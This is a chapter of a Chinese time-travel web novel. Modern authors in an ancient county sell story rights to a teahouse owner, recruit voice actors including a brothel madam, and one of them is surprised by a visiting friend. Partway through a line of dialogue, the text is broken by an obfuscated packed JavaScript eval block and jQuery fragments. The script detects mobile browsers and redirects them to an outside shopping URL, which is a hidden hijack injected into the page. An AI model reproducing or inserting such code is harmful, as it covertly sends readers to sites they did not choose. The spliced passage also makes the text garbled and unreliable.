茶馆儿的李掌柜笑眯眯地说:“你们星火文社这说话人,讲得真好,她们……要表演一整个白天吗?”
“说话人?”沈栖梧一挑眉,嗯,类似唐朝称呼以声音为主要技艺讲故事的人为“说话人”,或者“俗讲僧”。
“你误会了,”沈栖梧笑了笑,“我们的说话人只讲这一遍,完事儿后就收摊了。”
“啊?!”李掌柜惋惜得好像是自己放着好生意不做损失了好大一笔钱似的,“那下午呢?就不讲啦?!”
“嗯,不讲了,我们下午要休息。”沈栖梧点点头。
肖云心在旁边,看着淡定的沈栖梧、焦急的李掌柜,差点儿笑出声!
这场谈判,被沈栖梧三言两语占据了先机,成为了主导者。
李掌柜经商二十年,可不愿到嘴的鸭子飞了,忙道:“那……有什么办法,能让我们茶馆儿,拿到你们的故事授权,在你们不讲的时候我们继续讲?”
“办法嘛,”沈栖梧不紧不慢地说,“倒是有。”
“合作,总得互惠互利。”沈栖梧看着他说。
“懂!”李掌柜将手缩进袖子里,比了个一,“给你们下午茶馆儿营业额的这个分成,如何?”
沈栖梧摇了摇头:“太没有诚意了,李掌柜。”
李掌柜又说:“我还得给我们请的讲话人工钱,多了实在给不出来……”
“我们可以租给你一个录音笔,无需再额外请人,就可以完美重现我们的配音作品。”沈栖梧从袖袋里拿出一根录音笔。
“真的?”李掌柜将信将疑地问。
“真的?”
沈栖梧一按,李掌柜的问句便从录音笔里响起。
“天爷!”李掌柜惊得跳起来。
“怎么样?有了这个神器,李掌柜的诚意如何?”沈栖梧在指尖转着小小一根录音笔问。
李掌柜又缩在袖子里比了个二,看着沈栖梧。
沈栖梧摇摇头。
李掌柜咬牙,又比了个三,“不能再多了!我们也得多少挣点儿!”
沈栖梧笑了笑,“李掌柜好精明啊,你是不是忘了,我们这些故事是属于我们的,是有版权的。”
“可是,你们不是在免费送人书嘛……”李掌柜还以为能含糊过去呢。
沈栖梧把录音笔收回了袖袋,“前六万字确实是免费的,但是之后的章节内容,可全部属于付费内容。”
李掌柜眼睛转了转,不舍地盯着沈栖梧的袖袋。他的腮帮子鼓起片刻,干脆道:“那免费章节三成给你们,付费的章节你说个数我听听。”
沈栖梧伸出一巴掌。
“便宜点嘛……”李掌柜说。
沈栖梧果断地摇头,“这是底线。”
李掌柜一跺脚:“成交!但是,这本书,除了你们自己配音演出,你不能再授权其他店播放录音了!”
她们还有很多书,不差这一本,但是,沈栖梧说:“只限于本县,除了我们,只你一家店。外地的,这个条件不成立。”
“好,成交!”李掌柜胖胖的脸笑起来。
沈栖梧按照本朝习俗,也朝他拱手道:“成交。”
第一次露天广播剧演出举办得很成功。
刚一结束,宋雪就宣布了肖云心提前交给她的招聘要求,一群年龄各异的男男女女围上来询问。
“诶!我能来配音那个老鸨吗?”一个风韵犹存的女人问。
刚才配音老鸨的是一位作者,全程捏着嗓音配的,和她本人的声音很不搭,确实有点儿难为人。
“您识字吗?”肖云心问她。
“那是当然!”女人抬着下巴说,却引来周围人的哄笑。
肖云心不解,周围一个男的说:“你们新来的还不知道,她啊,是咱们县,有名的老鸨!”
肖云心嘴角一抽,“我们目前的配音,多是免费的,所以,前期配音演员也没有工钱,您能接受吗?”
“能呀!你们那点儿小钱,我才瞧不上呢!”女人拿着手帕掩嘴笑道。
“我就是觉得你们这种形式好有意思哦,我觉得,我们青楼所有人,都可以来试试。”
“试试可以,但是有条件。”沈栖梧不知何时突然来了,对女人说。
“什么条件?说来听听。”女人眉眼上挑,看向她问。
“女人可以有很多男人,但那得是她自愿的,而不是被迫的。”沈栖梧和她对视。
“要是来我这儿当配音演员,就得遵守我的规则,这一条,就是我的底线。”
“你能接受吗?”
女人比沈栖梧低半头,眼睛好像带钩子,盯着沈栖梧,听完她就笑了,笑得前仰后合的,整个一花枝乱颤的具象表演。
一个男的大着嗓门笑着说:“沈小娘子,你有所不知,我们县的青楼和别处不一样!只卖艺,不卖身!”
“她可是有名的铁娘子!”另一个男人笑着说。
“哪个不长眼的敢调戏她的小娘子,她能拿铁棍儿,打断那人的狗爪子!”
沈栖梧挑了挑眉,朝她点点头,“失敬了!”
“我喜欢你。”铁娘子伸出手,干净圆润的长指甲是粉红色的,轻轻勾了勾沈栖梧的脸颊。
铁娘子凑近她,微仰着头,在沈栖梧耳边用气声说:“但是我不喜欢你的开篇,那让我想起了以前的噩梦,你真坏。”
沈栖梧第一次被一个同性调戏了。
“那我补偿你,”沈栖梧向后退了一步,“你们整个青楼的人,愿意的都可以来试试。”
“哼!行吧。”铁娘子说。
忙忙叨叨了近一个时辰,试了上百人的配音,最终也只留下了十分之一。
“贵精不贵多,”沈栖梧对累得两眼无神的肖云心说。
“咱们目前就先配一部小说,内容创作才是重点,配音这些衍生产品是副业。”
“嗯,我就怕我小说写不好,连我的专业配音也给搞砸了……”肖云心有点儿丧丧的,突然就难过了。
“嘿!别把自己给吓死了!”沈栖梧在她眼前打响指。
肖云心一个激灵从悲观的情绪里惊醒,撇着嘴朝沈栖梧张开胳膊,“能给我个充满文运的抱抱吗?”
“抱!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761206|209189||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来来来,抱抱抱。”沈栖梧上半身前倾,搂了搂她。
下午收摊儿回到小院儿,所有人都各自找地儿自由活动了。
有洗个脸更新码字的,有直接躺倒午睡的,还有高精力搞副业的,比如杨雪儿,她戴着耳机在画服装设计稿……
她们到这个陌生古代还没有一星期,却已经开始正式安顿下来了,各自都逐渐找到了让自己舒服自洽的生活工作方式。
沈栖梧今天没再调酒喝,只是洗了个舒服的热水澡,随意地擦了擦头发,坐在独居的小屋窗前。
对着窗外一片小竹林,轻风吹拂着湿润的垂肩短发,给她带来丝丝的清凉,相比现代的钢铁丛林的都市生活,她觉得前所未有的安定、舒心。
她抱着折起的双腿,闭上眼,思索今天要更新的章纲,精确到对话内容。
半晌后,她猛地睁开眼睛,双手开始在键盘上快速敲击。
宁静的夏日午后,小屋里只余清脆的键盘敲击声,如流水击石般响起。
日暮黄昏,街鼓鸣响,县城四方大门会在八百声暮鼓声中关闭。
沈栖梧敲键盘的手停了下来,站起来活动坐僵的身子。
她边拉伸,边出神地想着接下来要写的故事情节。
“嘿~小姐姐~”她正对的窗前突然传来一声散漫的男声。
这个男声,大概是这几天沈栖梧最熟悉的声音了,散漫中带着笑意,但是突然出现,吓得正在蹲马步的她差点儿一屁股蹲儿坐地上。
“陆焰?!”沈栖梧惊了,“你怎么在这儿?”
“你昨晚和我通话的时候,不是还说刚到了边关军营吗!”
陆焰笑得露出右侧的小虎牙,“是呀~”
“然后我们通话一结束,我就找上官请了假,连夜骑马,奔驰一夜一日,终于赶在了城门关闭之前,找到了你……们。”
“为什么呀?!”沈栖梧完全不理解这是什么骚操作。
“是我说了什么吗?”她昨晚有点醉,完全不记得自己是不是口误说了什么。
“嘿!真聪明,我就是为你来的。”陆焰撑着窗沿儿凑近,“我大老远拖着一堆东西跑过来看你,不请我进去坐坐吗?”
沈栖梧试图回忆昨晚的记忆,想得眉头都蹙起来了,给他开了屋门,“先进来说。”
陆焰一身玄色翻领胡服,黑色马靴,短发被幞头裹住了,脖子上则戴着现代的冰敷面罩,他一进来,连喝几杯凉茶,才看着沈栖梧长呼出一口气来。
“你怎么进来的?”沈栖梧又给他倒了一杯水,“谁给你开的门?”
“一个男作者,叫什么河来着?”陆焰歪着头说。
“牧星河,我们书凤阁平台的五星作者。”沈栖梧说。
“哦——”陆焰拉着长腔。
“那他怎么当时不跟着我们一起去边关呢?留下来跟你们女生混在一起像什么样子……”
他的声音,在沈栖梧微眯的丹凤眼的注目中,越说越小声。
沈栖梧用指关节扣了扣桌子,“你先说清楚,什么叫‘为我来的’?你拿什么东西来了?”